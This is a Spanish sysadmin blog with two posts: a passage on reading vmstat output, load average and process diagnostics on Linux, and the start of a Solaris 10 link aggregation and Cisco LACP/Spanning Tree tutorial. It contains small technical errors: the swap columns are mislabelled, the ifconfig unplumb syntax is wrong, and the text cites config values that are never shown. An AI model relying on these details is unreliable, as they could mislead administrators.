Estos trheads, de los cuales hablamos, en un sistema monoprocesador (1 CPU), no tienen demasiado sentido, ya que solamente puede ejecutarse uno por vez, y es el scheduler del sistema operativo quien se encarga de asignarles un tiempo de CPU para que los mismos se ejecuten, en caso de que un proceso haga uso de mayor cantidad de tiempo a la que le fue asignada el mismo será penalizado (mediante semáforos), teniendo que esperar N cantidad de tiempo antes de poder volver a ingresar nuevamente a la CPU.
Esto se logra mediante la utilización de el algoritmo <b>Round Robin</b>, el cual asigna tiempos iguales de CPU a todos los procesos, pero en caso de que uno se exceda aplica penalizaciones.
En caso de equipos con múltiples cores, esta limitación se ve superada, pero siempre que tengamos una sola CPU física, solo un proceso por vez podrá correr. Para que varios procesos puedan correr concurrentemente necesitamos tener un equipo con múltiples unidades de procesamiento. Pero también suele pasar que muchos procesos o threads esten esperando para entrar a la CPU, y a esto lo realizan generando una cola o también denominada <i>run queue</i>, estaremos tienen una cola de ejecución normal, cuando esta no supere en número a la cantidad de procesadores que tenga el equipo instalado, caso contrario, estaremos ante un bottleneck.
<br />
Una métrica que suele ser tomada en cuenta por muchos administradores para medir la carga de un equipo, es mediante la carga promedio (Load average), la misma puede ser consultada mediante el comando <i>top</i> o también mediante <i>uptime</i>, y nos informa la carga del equipo ahora, hace cinco minutos y hace quince minutos. Veamos un ejemplo:
<br />
<div class="highlight">
<pre>02:20:23 up 3:06, 2 users, load average: 3.03, 2.13, 0.19
</pre>
</div>
En este ejemplo, podemos notar que la carga actual esta en <i>3.03</i>, siendo que el equipo cuenta con un procesador con 2 cores podemos decir que es alta, la carga promedio hace 5 minutos también se encuentra mínímamente excedida, y hace 15 minutos se encontraba bien. Por lo cual, es probable que algún proceso esté encolado, esperando para entrar a ejecución en la CPU.
Pero está métrica no es del todo confiable, ya que en Linux además, promedia el tiempo en el que el proceso se encuentra <i>"Waiting for I/O"</i>, por lo cual, la salida de <i>vmstat</i> sería mas confiable, y esta la podemos encontrar en la columna "r" de dicho comando.
<br />
<br />
Para reportar las estadísticas, vmstat hace uso del <i>procfs</i>, especificamente de <i>/proc/stats, /proc/mem/info y /proc/*/stat</i>, que como muchos de ustedes sabrán, cada proceso en ejecución, crea una entrada (mediante un directorio) en el directorio <i>/proc</i>, cuyo nombre es el PID del proceso y dentro del mismo existe un archivo denominado <i>stat</i>.
<br />
<br />
La invocación de vmstat es sencilla, si lo invocamos sin parámetros, nos imprimirá por la salida estándar, una sola muestra, podemos especificarle al mismo mediante un entero, la cantidad de tiempo que debe pasar entre muestra y muestra, y además la cantidad de muestras que queremos que nos brinde. Es un factor a tener en cuenta el periodo que debe pasar entre cada una de las muestras, ya que puede afectar notablemente a nuestro entendimiento de la salida. Con el argumento <i>-a</i>, nos brindara estadísticas mas avanzadas (imprimiendo la memoria activa e inactiva) y con <i>-t</i> además nos imprimirá un timestamp sobre cuando se produjo dicha muestra. <i>vmstat</i> Además imprime información sobre el estado de la swap y del IO (discos), utilizando como medida bloques de datos, cada bloque actualmente para kernels 2.6 y 3.x tiene un tamaño total de 1024 bytes, antiguamente estos podían ser reportados por vmstat en bloques de 512 bytes, 2048 bytes o 4096 bytes.<br />
<br />
<u>Veamos nuestro primer ejemplo:</u>
<br />
<div class="highlight">
<pre>$ vmstat 1 10
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----
r b swpd free buff cache si so bi bo in cs us sy id wa st
3 0 71096 200036 12252 277544 0 3 64 45 662 1212 11 4 82 3 0
3 0 71096 199788 12252 277928 0 0 0 0 470 811 2 1 98 0 0
0 0 71096 201276 12260 277980 0 0 0 40 686 839 10 1 88 2 0
1 0 71096 201276 12260 277604 0 0 0 0 479 743 2 1 98 0 0
0 0 71096 201084 12260 277604 0 0 0 232 561 811 2 2 96 0 0
1 0 71096 201180 12260 277604 0 0 0 28 466 804 2 1 98 0 0
0 0 71096 201180 12260 277604 0 0 0 0 702 871 11 1 89 0 0
0 0 71096 201644 12260 277604 0 0 0 0 465 756 2 0 98 0 0
0 0 71096 201668 12260 277604 0 0 0 0 577 750 2 1 97 0 0
0 0 71096 201700 12276 277588 0 0 0 36 641 750 1 0 92 7 0
</pre>
</div>
La invocación en este caso se hizo imprimiendo muestras cada un segundo, y un total de diez muestras.
Lo primero que nos llama la atención es que por un instante (2 segundos), la columna <i>"r"</i> tiene un valor de 3, en mi caso tengo solo dos cores y una CPU, por lo cual este valor se encuentra minimamente alto, pero dura muy poco como para preocuparnos.
Seguido a nuestra columna <i>"r"</i>, nos encontramos con la columna <i>"b"</i>, esto según la manpage de <i>vmstat</i>, significa: <i>The number of processes in uninterruptible sleep.</i>, como seguramente sabrán un proceso puede encontrarse en diversos estados, y utilizan un mecanismo de señales para comunicarse entre ellos (para listarlas: <i>kill -l</i>), Estos procesos, pueden encontrarse entre otros estados: Running (en ejecución), Sleeping (Durmiendo, esperando alguna señal o evento que los despierte), Stopped (parados), Zombie (Murio el padre, pero no el hijo), etc.
Dentro de Sleeping, existen dos estados principales en los que puede estar durmiendo el proceso:<br />
<br />
<b><u>Interruptible sleep:</u></b> Aquellos procesos que están esperando alguna señal para despertar y volver a ejecutarse (por ejemplo que se les notifique que X tarea fue completada).<br />
<br />
<b><u>Uninterruptible sleep:</u></b> Aquellos procesos los cuales se encuentran aguardando algún tipo de evento externo para poder continuar, por ejemplo esperando I/O.<br />
<br />
Por lo cual, nuestra columna <i>"b"</i> representa a la cantidad de procesos que se encuentran esperando alguna actividad externa para poder continuar como se dijo, por ejemplo I/O. Por lo cual, hacia el final de la salidad de <i>vmstat</i> encontramos la columna <i>"wa"</i> la cual nos dice que es la cantidad de tiempo gastado por la CPU esperando I/O. Generalmente ambas columnas están relacionadas, y tener altos valores aquí, puede ser sinónimo de algún desperfecto en el filesystem (posiblemente optimizable), baja velocidad en el bus de datos utilizado por las controladoras de disco, o algún tipo de desperfecto en el dispositivo de almacenamiento o sus controladoras. Para tener un detalle superior y resolver problemas de performance de I/O puede ser consultado <i>iostat(1)</i>.
<br />
<div class="highlight">
<pre><u>Veamos un ejemplo de esto:</u>
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----
r b swpd free buff cache si so bi bo in cs us sy id wa st
2 1 71096 83596 18112 356208 0 3 61 44 644 1182 11 4 83 3 0
2 1 71420 72564 9772 379456 0 324 69760 412 2310 3041 4 45 20 31 0
1 1 71420 70584 4292 391272 0 0 84224 0 2589 3295 3 55 21 21 0
2 0 71420 72744 4292 393968 0 0 79104 0 2489 3131 3 51 23 23 0
3 1 71420 71796 4292 397928 0 0 81280 0 2472 3147 3 52 24 21 0
2 1 71420 69932 4292 402356 0 0 83968 0 2634 3308 3 55 21 21 0
1 1 71420 73220 4284 401044 0 0 84864 40 2673 3282 3 56 20 22 0
1 2 71420 67416 4292 408544 0 0 83208 0 2699 3202 3 54 16 26 0
0 2 71420 71728 4292 408500 0 0 83328 0 2602 3230 3 55 11 32 0
2 0 71420 74236 4300 408988 0 0 60456 32 2069 2752 4 39 12 45 0
</pre>
</div>
Si bien la carga no es excesivamente alta, podemos ver que nuestra columna <i>"r"</i> se encuentra entre 1 y 3 la mayor parte del tiempo. Nuestra columna <i>"b"</i> la encontramos variando entre 1 y 2 y la columna <i>"wa"</i> en un valor estimado entre 21 y 45. Lo cual en este caso es indicio de que o el disco conectado a la máquina es lento, o la controladora lo es.
También encontramos otras columnas sumamente interesantes y muy importantes para nuestro análisis, esta es <i>"us"</i> dicha columna nos informa la cantidad de tiempo gastado en el userspace, por ejemplo alguna aplicación o aplicaciones que esten consumiendo un alto porcentaje de la CPU. Por su parte la columna <i>"sy"</i>, nos dice la cantidad de tiempo que el kernel mode se encuentra consumiendo. <i>"id"</i>, del término inglés <i>idle</i>, nos dice que tan libre se encuentra el sistema, cuando este valor es cercano a 100, mas libre se encuentra el mismo. Estás métricas son interesantes para conocer que la carga de la CPU y a esto se le denomina <b>utilización</b>, cuando la utilización supera el 100%, cambia su denominación a <b>saturación</b>, y esta saturación puede ser responsable de procesos encolados en la <i>"run queue"</i> (la columna <i>"r"</i>). Posiblemente, obviamente dependiendo el caso, la saturación pueda estar dada por una poca cantidad de RAM, o un bajo poder de procesamiento en el equipo.
<br />
<br />
Otro campo interesante es <i>"cs"</i>, que contabiliza la cantidad de context switchs durante la muestra, si vemos un número elevado de context switchs puede ser indicio de que alguna aplicación en el userspace se encuentra ejecutando una gran cantidad de syscalls que pueden ser o no un problema.<br />
<br />
El campo <i>"in"</i>, nos muestra la cantidad de interrupciones producidas en el tiempo de muestra por el equipo. Hace un tiempo, tuve una experiencia personal con un firewall ejecutando la tecnología de filtrado <i>IP Filter</i> (<i>IPF</i>), el cual estaba produciendo un número enorme de interrupciones (entre 70000 y 100000) en muestras de 1 segundo, en este caso era debido a un daño físico (aunque podía deberse al driver también) en una interfaz de red. A esto se lo conoce como <b>interrupt storm</b>, y como un dato curioso, la primera de ellas se produjo durante el alunisaje del Apollo XI en 1969. Una tormenta de interrpuciones puede consumir el mayor tiempo (o todo el tiempo) en kernel mode (<i>"sy"</i>), y dejar el sistema sin respuesta, en un estado denominado <b>live lock</b>. Existen algunas formas de mitigar las tormentas de interrupciones, por ejemplo en el siguiente planteamiento: Una NIC ethernet, la cual debe efectuar una interrupción por cada paquete que ingresa o sale de la misma, para que esto no genere una interrupt storm, se hace uso de un mecanismo de polling el cual genera una interrupción cuando X cantidad de paquetes deben ser enviados o recibidos. Caso contrario, mientras mayor througput de red exista, mayor será la cantidad de interrupciones generadas, pudiendo producirse una interrput storm.
<br />
<br />
El campo <i>"st"</i>, hace referencia a la cantidad de tiempo de procesamiento en caso de utilizarse virtualización robado al hypervisor por las máquinas virtuales.<br />
<br />
Un grupo de campos bastante relacionados son los de la sección "Memory", en los cuales podemos encontrar <i>"swpd"</i> como la cantidad total de swap en el sistema (mas información: <i>swapon -s</i>), <i>"free"</i> la cantidad de memoria libre y que puede ser ser utilizada. <i>"buff"</i>, Es la cantidad de memoria utilizada como buffers. <i>"cache"</i>, La cantidad de memoria utilizada como cache por los distintos procesos.
<br />
<br />
Por su parte dentro de el grupo de campos <i>"Swap"</i>, encontramos dos columnas, <i>"si"</i> o <i>swap-in</i> y <i>"so"</i> o <i>swap-on</i>. Esto es la cantidad de bloques que son escritos a swap, y son leídos de swap respectivamente. El sistema operativo hace uso de la memoría swap, cuando se queda sin memoria física a la que direccionar las páginas de memoría, bajando las menos utilizadas a dicha memoría de intercambio. La memoría swap, mas los buffers y la memoria física conforman un grupo al que se denomina <i>virtual memory</i> (VM). Por lo cual, notar actividad en estas columnas, puede ser síntoma de que la memoria física instalada en el equipo esta siendo insuficiente.
<br />
<br />
<u>Veamos el siguiente ejemplo:</u>
<br />
<div class="highlight">
<pre>procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----
r b swpd free buff cache si so bi bo in cs us sy id wa st
3 3 71420 93312 14888 373588 1 2 97 41 623 1140 84 3 10 3 0
8 2 72280 104204 28608 321432 2 860 1864 2704 2689 9901 61 22 1 17 0
7 2 72784 75128 28040 350996 100 2 100 41 623 1143 93 3 0 3 0
11 5 72812 75128 28116 351024 132 28 11392 668 1962 8491 32 16 11 41 0
8 3 72840 70540 28092 355984 1 28 9184 780 1766 11739 27 16 1 47 0
9 4 72972 74964 28068 351312 7 132 15860 644 2138 6639 34 20 5 40 0
8 2 73104 75264 21200 358408 0 132 11208 628 1775 5542 18 16 8 58 0
3 2 73388 72768 13444 368200 345 284 2724 524 2032 25138 29 20 5 46 0
5 4 73848 74540 31100 347204 123 208 8120 208 3566 59935 41 35 0 24 0
4 3 74092 73084 36244 342524 98 244 5436 1392 3434 43193 33 27 0 40 0
7 4 74196 66204 43588 341380 15 104 6084 148 4437 64503 34 37 8 21 0
5 2 75344 70212 45964 335144 2 1148 4432 1368 3115 56056 30 32 7 31 0
</pre>
</div>
La swap, es memoria lenta, ya que reside en el disco, por lo tanto pasa a ser un problema para nuestro analisis, por su parte la memoría física mantiene comunicación directa con la o las CPU's del equipo, mediante el bus de memoria, el cual trabaja a una frecuencia mucho mayor brindando una velocidad que jamaz los discos que conocemos podrán alcanzar, incluido aquellos de estados solido, los cuales suelen utilizarse entre otras cosas para hacer web cache (con Varnish).
La tendencia a swappear por parte del kernel, puede ser optimizada mediante una sysctl, esta es <i>vm.swappines</i>.<br />
<br />
En las muestras proporcionadas por el último ejemplo vemos una clara situación de saturación: La columna <i>"r"</i> en este caso es mayor a nuestra cantidad de cores (2, según <i>/proc/cpuinfo</i>), la columna "b", muestra un número constante y bastante alto de procesos con <i>uninterruptible sleep</i>, lo cual se apoya en el tiempo empleado en <i>Waiting for I/O</i>, según la columna <i>"w"</i>, además podemos notar que el equipo esta swappeando (<i>"si"</i> y <i>"so"</i>), por lo cual aquí el problema puede deberse a una combinación de factores como baja velocidad de las controladoras, o daño en ellas o en los discos (para ello buscar por errores en los logs del sistema), además de una baja cantidad de memoria, o la existencia de un proceso o varios que se esten cosumiendo todos los recursos. Además podemos ver que el userspace es bastante alto en proporción a nuestro tiempo <i>idle</i>, por lo cual podría ser una aplicación o varias aplicaciones pequeñas del userland quien este produciendo esto.
Para determinar esto, podemos ejecutar en una termianl lo siguiente:
<br />
<div class="highlight">
<pre># ps -eo user,pid,pcpu --no-headers | awk '{ if ( $3 > 80 ) print $1,$2,$3}'
zimbra 28442 88.5
# ps aux | grep 28442
zimbra 28442 88.5 60.3 1213164 924904 ? Sl Apr11 306:57 /opt/zimbra/java/bin/java -Dfile.encoding=UTF-8 -server -Djava.awt.headless=true -Dsun.net.inetaddr.ttl=60 -XX:+UseConcMarkSweepGC -XX:PermSize=128m -XX:MaxPermSize=128m -XX:SoftRefLRUPolicyMSPerMB=1 -verbose:gc -XX:+PrintGCDetails -XX:+PrintGCTimeStamps -XX:+PrintGCApplicationStoppedTime -XX:-OmitStackTraceInFastThrow -Xss256k -Xms256m -Xmx256m -Xmn64m -Djava.io.tmpdir=/opt/zimbra/mailboxd/work -Djava.library.path=/opt/zimbra/lib -Djava.endorsed.dirs=/opt/zimbra/mailboxd/common/endorsed -Dzimbra.config=/opt/zimbra/conf/localconfig.xml -Djetty.home=/opt/zimbra/mailboxd -DSTART=/opt/zimbra/mailboxd/etc/start.config -jar /opt/zimbra/mailboxd/start.jar /opt/zimbra/mailboxd/etc/jetty.properties /opt/zimbra/mailboxd/etc/jetty-setuid.xml /opt/zimbra/mailboxd/etc/jetty.xml
</pre>
</div>
¡Bingo! encontramos al responsable de quien se esta comiendo nuestra CPU y en gran parte a la memoria.
Con esto, estamos imprimiendo mediante <i>ps(1)</i>, aquellos procesos cuyo consumo de CPU sea superior al 80%. Si en vez de querer consultar la CPU, quisiéramos hacer lo mismo con la memoria ejecutaríamos:
<br />
<div class="highlight">
<pre># ps -eo user,pid,pmem --no-headers | awk '{ if ( $3 > 80 ) print $1,$2,$3}'
</pre>
</div>
Pero también pueden existir situaciones en la que no sea un gran proceso quien este consumiendo los recursos, sino que pueden ser múltiples procesos chiquitos, que comen un poco cada uno y en conjunto si estén sobrecargando el sistema. Veamos un ejemplo de esto:
<br />
<div class="highlight">
<pre>zimbra 28468 4.2 3.9 21540 840 ? S Apr11 0:05 /opt/zimbra/httpd-2.2.19/bin/httpd
zimbra 28471 1.2 1.1 109432 6196 ? S Apr11 0:00 /opt/zimbra/httpd-2.2.19/bin/httpd
zimbra 28488 6.0 4.7 109432 6196 ? S Apr11 0:04 /opt/zimbra/httpd-2.2.19/bin/httpd
zimbra 28489 1.3 3.2 54028 3476 ? S Apr11 0:05 /opt/zimbra/httpd-2.2.19/bin/httpd
zimbra 28490 1.8 1.6 54028 3476 ? S Apr11 0:00 /opt/zimbra/httpd-2.2.19/bin/httpd
zimbra 28491 6.2 9.1 54028 3476 ? S Apr11 0:01 /opt/zimbra/httpd-2.2.19/bin/httpd
zimbra 28492 0.4 1.0 54028 3476 ? S Apr11 0:02 /opt/zimbra/httpd-2.2.19/bin/httpd
zimbra 28493 0.1 1.0 54028 3476 ? S Apr11 0:02 /opt/zimbra/httpd-2.2.19/bin/httpd
zimbra 28494 0.7 1.0 54028 3476 ? S Apr11 0:02 /opt/zimbra/httpd-2.2.19/bin/httpd
zimbra 28495 0.4 1.0 54028 3476 ? S Apr11 0:02 /opt/zimbra/httpd-2.2.19/bin/httpd
--- OUTPUT OMMITED ---
</pre>
</div>
Si bien omití algunos procesos por comodidad al momento de leer este, esta situación también podría darse, logrando saturar la CPU/Memoria, o bien producir una alta utilización. A veces estos procesos suelen ser difíciles de tracear debido a que pueden durar muy poco, muchas veces para conocer que esta haciendo un proceso solemos utilizar <i>strace(1)</i>,(o <i>truss</i> en Solaris), si bien nos permite conocer con exactitud que se encuentra ejecutando el proceso, impacta en el mismo produciendo una baja perfomance. Pero cuando no podemos realizar esto, una forma bastante sencilla de conocer la cantidad de procesos o threads nuevos que se están creando en nuestro sistema es mediante el parámetro <i>-f</i> de <i>vmstat</i>, la cual contabiliza la cantidad de <i>forks</i> y <i>vforks</i>, producidas desde el último booteo del equipo.<br/>
La diferencia mas sustancial entre <i>fork(2)</i>, y <i>vfork(2)</i>, es que este último crea un nuevo <i>child process</i> suspendiendo a su padre (bloqueándolo) hasta que el mismo termine o envíe alguna señal que lo haga finalizar (por ejemplo llamando a <i>_exit(2)</i>). <i>vfork(2)</i> además, no copia su tabla de páginas de su padre, como si lo haría un proceso creado con <i>fork(2)</i>, pero este si comparte su propia memoria con el padre, incluido el stack. Veamos un ejemplo, en el cual un webserver (Apache), esta produciendo forks continuamente, consumiendo de manera excesiva la CPU del equipo:
<br />
<div class="highlight">
<pre># while true; do sleep 1 && vmstat -f ; done
283986702 forks
283986734 forks
283986769 forks
283986812 forks
283986855 forks
283986938 forks
283986963 forks
283987083 forks
283988034 forks
283988918 forks
</pre>
</div>
A esto debemos restarle los aproximadamente 2 forks que realiza <i>vmstat</i> y <i>while</i> para producir esta salida para tener un resultado aún más exacto. Lo que nos da un promedio de aproximadamente 50 forks por segundo.<br />
<br />
Toda esta salida que hemos analizado a lo largo del post puede ser graficada con numerosas herramientas tales como <i>gnuplot</i>, en la cual podemos obtener resultados como este:
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7O58Z_fNggUb5QixSDmaqs0NxYArxGPAiD8TsmsrbIMbM2YYdZuI58fAPFKMOGkKPub1S73xe9_krg-dxwhqdxCk7nFFjiqMSnrZDmJzabYWF_As5UbYQVghUI2JCrrTLft9E-bsafsE/s1600/output.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7O58Z_fNggUb5QixSDmaqs0NxYArxGPAiD8TsmsrbIMbM2YYdZuI58fAPFKMOGkKPub1S73xe9_krg-dxwhqdxCk7nFFjiqMSnrZDmJzabYWF_As5UbYQVghUI2JCrrTLft9E-bsafsE/s640/output.jpg" width="640" /></a></div>
<br />tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com2tag:blogger.com,1999:blog-5189027816427515351.post-83800894096882362172012-04-14T01:46:00.000-03:002012-10-27T21:06:04.807-03:00Solaris 10 Link Aggregation (NIC Bonding) and switch side Trunking configuration<b>Link Aggregation </b>también llamado NIC Bonding o NIC Teaming. Es un conjunto de técnicas utilizado combinar múltiples conexiones de red en un solo link a fin de brindar mayor throughput, y proveer redundancia en caso de que el link falle.
Es común su utilización en switches o routers y puede ser utilizada también en equipos.
Acorde al sistema operativo se pueden configurar varios métodos o políticas para realizar bonding (Round Robin, Active/Backup, XOR, Brodcast) , y en este post específicamente nos vamos a basar en <b>Active/Backup</b> a fin de proveer una mayor rebundancia en la conexión de red del servidor.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2Kwdo65MrF-NSWtpZP4ihouUircJAIzhg0o1nuEY-SNzRigdqsPVVb8jODH1-hfqed4xnoXPBl7zqlslz6Mkf2ps4pQ7kY6hycZwAG0HUrbOuCDSrHoC79ifhMOEgjamCO_C1ZegnE_o/s1600/LinkAggregation.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2Kwdo65MrF-NSWtpZP4ihouUircJAIzhg0o1nuEY-SNzRigdqsPVVb8jODH1-hfqed4xnoXPBl7zqlslz6Mkf2ps4pQ7kY6hycZwAG0HUrbOuCDSrHoC79ifhMOEgjamCO_C1ZegnE_o/s320/LinkAggregation.JPG" width="320" /></a></div>
<br />
Vamos a estructurar el post en tres partes: En la primera comprenderemos como se organiza la configuración de networking en Oracle Solaris 10, de esta manera sabremos donde tenemos que tocar al momento de lograr esta configuración. Luego nos enfocaremos a realizar la configuración del lado del switch suponiendo que el mismo corre<b> Cisco IOS</b>, y donde generaremos un Channel Group en el cual se encontrará conectado nuestro servidor con Solaris 10 y configuraremos Spanning Tree para evitar loops de red.<br />
Durante el post utilizaremos dos interfaces de red, pero cabe notar que esto puede realizarse con varias interfaces, es común encontrar Link Aggregations con tres o más links.
<a name='more'></a>
<br />
<br />
<b><u>Networking en Solaris 10</u></b><br />
<br />
Como seguramente sabrán Solaris es un sistema operativo SYSV, que en algún momento del tiempo fue BSD, poco a poco fue convirtiéndose en el sistema operativo que hoy conocemos, pero actualmente conserva algunos elementos que denotan su pasado como BSD. Un ejemplo claro de ello es el nombre de las interfaces de red y su forma de definir el driver que la controlará, el cual va seguido por la instancia de la misma, por ejemplo <i>e1000g0</i> para la primera NIC Intel PRO/1000 Gigabit o <i>bge1</i> para la segunda NIC Broadcom Gigabit Ethernet.<br />
<br />
Al momento de iniciar Solaris, durante el booteo interviene SMF, el cual llama al servicio <i>svc:/network/physical:default</i> y este invoca al método <i>/lib/svc/method/net-physical</i>, este método el cual es un script ejecuta el comando ifconfig para configurar cada una de las interfaces de red definidas en el sistema buscando dentro del directorio /etc por uno o más archivos llamados <i>hotsname.XXY</i> siendo <b><i>XX</i></b> el nombre de la interfaz e <b><i>Y</i></b> la instancia de la misma, por ejemplo: <i>/etc/hostname.qfe0</i>.<br />
<br />
El archivo /etc/hostname.XXY contiene el nombre del host o la dirección IP de la interfaz de red, lo cual previamente debe encontrarse definido en el archivo /etc/inet/hosts para ser configurado en el equipo. Por ejemplo para la interfaz <i>bge1</i> en el archivo <i>/etc/hostname.bge1</i> encontramos:<br />
<div class="highlight">
<pre># cat /etc/hostname.e1000g0
ns1.foobar.org</pre>
</div>
Aunque también podría ser:<br />
<div class="highlight">
<pre># cat /etc/hostname.e1000g0
172.16.1.215
</pre>
</div>
Otro archivo que interviene en la configuración de networking es <i>/etc/inet/hosts</i>, es una base de datos local que asocia una dirección IP (de una interfaz) con su hostname. Este archivo tiene un formato muy sencillo, y se encuentra compuesto por tres campos separado entre si por una cantidad indistinta de espacios en blanco o tabs. Los campos que lo componen son: Dirección IP, Hostname y opcionalmente un alias. Un ejemplo de su formato es:<br />
<div class="highlight">
<pre># cat /etc/inet/hosts
::1 localhost
127.0.0.1 localhost
172.16.1.215 ns1.foobar.org ns1
</pre>
</div>
Este archivo, tiene un link simbólico y es el <i>/etc/inet/ipnodes</i>. Podemos decir que las direcciones IP, pueden configurarse tanto en <i>/etc/inet/hosts</i> o en , pero en este ultimo serán buscadas primero en caso de ser necesario.
El hostname del equipo debemos modificarlo en <i>/etc/nodename</i>, el cual tiene el siguiente formato:
<br />
<div class="highlight">
<pre># cat /etc/nodename
ns1.foobar.org</pre>
</div>
Pero al hacer esto, también debemos recordar hacerlo en <i>/etc/inet/hosts</i> y posiblemente en el /etc/hostname.XXY.
La configuración de la netmask debe realizarse en <i>/etc/netmask</i>, un ejemplo del archivo sería:<br />
<div class="highlight">
<pre># cat /etc/netmask
172.16.1.0 255.255.255.0
</pre>
</div>
La ruta por default es aquella la cual se utiliza en caso de que las rutas de las que tenga el equipo no coincida con la ruta de destino del paquete, es por eso que para 0.0.0.0 (todo lo que no coincide) se envía mediante el default gateway. Esto debe ser configurado mediante el archivo <i>/etc/defaultrouter</i>. Si queremos configurar <i>172.16.1.254</i> como default route ejecutamos:
<br />
<div class="highlight">
<pre># echo '172.16.1.254' > /etc/defaultrouter
# cat /etc/defaultrouter
172.16.1.254
</pre>
</div>
Las demás rutas, que se agregan de manera estática, son configuradas en el archivo /etc/gateways, si por ejemplo queremos agregar la ruta <i>192.168.1.0/24</i>, debemos hacerlo mediante este archivo, en este ejemplo para evitar reiniciar la red vamos a agregar la ruta utilizando el comando route, y luego lo haremos de manera persistente en el archivo /etc/gateways:
<br />
<div class="highlight">
<pre># route add net 192.168.1.0 netmask 255.255.255.0 172.16.1.254
# cat /etc/gateways
net 192.168.1.0 gateway 172.16.1.254 metric 1 passive
</pre>
</div>
Antiguamente esto debía hacerse mediante los scripts de rc, los cuales eran ejecutados al ingresar a un runlevel específico. Esto ya es anticuado y se hace mediante el archivo /etc/gateways.
Para mas información sobre esto: <i>man route gateways</i>.
<br />
<br />
<b><u>Cisco IOS Link aggregation (LACP) y Spanning Tree (STP):</u></b><br />
<br />
Para configurar <b>Link Aggregation</b> (IEEE 802.3ad) en un dispositivo corriendo CiscoIOS (similar también en switch Allied Tellesis), debemos conectarnos al mismo mediante SSH, Interfaz web (no cubierto aquí) o puerto serie; Nosotros trataremos este último. Para realizar esto, necesitaremos un emulador de terminal, como es el caso de Minicom (que puede ser instalado en Unix o Linux), PuTTy o HyperTerminal desde Microsoft Windows. En el debemos configurar la terminal a <i>9600 baudios, 8 bits de datos, sin paridad, 1 bit de stop y sin control de flujo</i>, de todas formas es recomendable previamente leer las especificaciones del fabricante ya que no todas las configuraciones de terminal son iguales.<br />
<br />
<b>Nota:</b> <i>Es importante realizar un backup del <i>running-config</i> del switch antes de editar la configuración del mismo.</i>
<br />
<br />Una vez conectados al dispositivo y autenticados debemos crear un Channel-Group, en el caso de nuestro Link Aggregation sera <i>po1</i>. Debemos hacer el <i>enable</i>, a fin de tener acceso administrativo al switch, y el <i>configure terminal</i> para poder trabajar con las interfaces del switch.
<br />
<div class="highlight">
<pre>
SW-CORE01> enable
SW-CORE01# configure terminal
</pre>
</div>
Ahora procedemos a configurar el <i>port-channel 1</i>, en los cuales se realizará la conexión y también vamos a configurar LACP en los puertos que elegimos en el switch para realizarlo, en nuestro caso <i>FastEthernet 1/0/1</i> y <i>FastEthernet 1/0/2</i>, los cuales tendran acceso a la VLAN 10 (Datos en nuestro caso).
<br />
<div class="highlight">
<pre>
SW-CORE01(config)# interface range fastethernet1/0/1-2
SW-CORE01(config)# lacp system-priority 23456
SW-CORE01(config-if-range)# switchport mode access
SW-CORE01(config-if-range)# switchport access vlan 10
SW-CORE01(config-if-range)# channel-protocol lacp
SW-CORE01(config-if-range)# channel-group 1 mode active
SW-CORE01(config-if-range)# no ip address
SW-CORE01(config-if-range)# end
</pre>
</div>
Podemos ver que ambas interfaces pertenecen al <i>Channel-Group 1</i>, la prioridad por default de las interfaces esta configurada a 23456, mientras mas alto es este valor (65536 como máximo), más baja será la prioridad, y podemos notar también que <i>g2/0/0</i> tiene configurada una prioridad distinta, 500, ya que será nuestra interfaz activa y por ende requiere una prioridad más alta.
Perfecto, Link Aggregation ya está configurado, pero antes de conectar físicamente los puertos, si es que previamente no está configurado, debemos configurar el protocolo <b>Spanning Tree</b>, en este caso en modo STP, caso contrario podríamos producir un loop que podría terminar tirando la red.
Spanning Tree se define mediante el estándar IEEE(802.1D), e intenta asegurar una topología de red libre de loops (o bucles), para más información sobre STP referirse a <a href="http://en.wikipedia.org/wiki/Spanning_Tree_Protocol" title="Spanning Tree - Wikipedia">Wikipedia</a>. Aquí configuraremos Spanning Tree (Port Fast), y su configuración es muy sencilla:
En el mismo switch, donde ya estamos autenticados y con el <i>enable</i> realizado, procedemos a ejecutar lo siguiente:
<br />
<div class="highlight">
<pre>
SW-CORE01# conf t
SW-CORE01(config)# interface range fastethernet1/0/1-2
SW-CORE01(config-if-range)# spanning-tree portfast
SW-CORE01(config-if-range)# end
</pre>
</div>
Ahora solo resta salvar la configuración a la NVRAM (startup-config), para que en caso de ser rebooteado el switch esta no se pierda y vuelva a aplicarse. Este paso se recomienda realizar al final de este tutorial, cuando ya hayamos comprobado que todo funciona correctamente y no está dando problemas.
<br />
<div class="highlight">
<pre>
SW-CORE01# copy running-config startup-config
</pre>
</div>
<b><u>IP Bonding en Solaris</u></b><br />
<br />
Nuestro equipo cuenta con tres interfaces de red, <i>ce0</i> es la que utilizaremos para conectarnos al equipo y dos de ellas utilizan el driver INTEL PRO/1000 Gigabit, y son llamadas por nuestro sistema operativo e1000g0 y e1000g1. Por lo cual interfieren los archivos <i>/etc/hostname.e1000g0</i> y <i>/etc/hostname.e1000g1</i>, configuraremos esto de manera dinámica primero, y si todo funciona lo haremos de manera estática utilizando el modo Active/Backup. Para poder trabajar, necesitaremos estar conectados al equipo, mediante alguna interfaz de red que no sean estas que utilizaremos para el bonding o estando físicamente en el equipo ya que perderemos la conectividad de red durante el procedimiento.
Lo primero que debemos hacer es determinar el estado de las interfaces que tenemos disponibles en el sistema
<br />
<div class="highlight">
<pre>
# dladm show-link
ce0 type: legacy mtu: 1500 device: ce0
e1000g0 type: non-vlan mtu: 1500 device: e1000g0
e1000g1 type: non-vlan mtu: 1500 device: e1000g1
</pre>
</div>
Y luego efectuamos el unplumbing de las interfaces, por lo cual ejecutamos:
<br />
<div class="highlight">
<pre># ifconfig unplumb e1000g0
# ifconfig unplumb e1000g1
</pre>
</div>
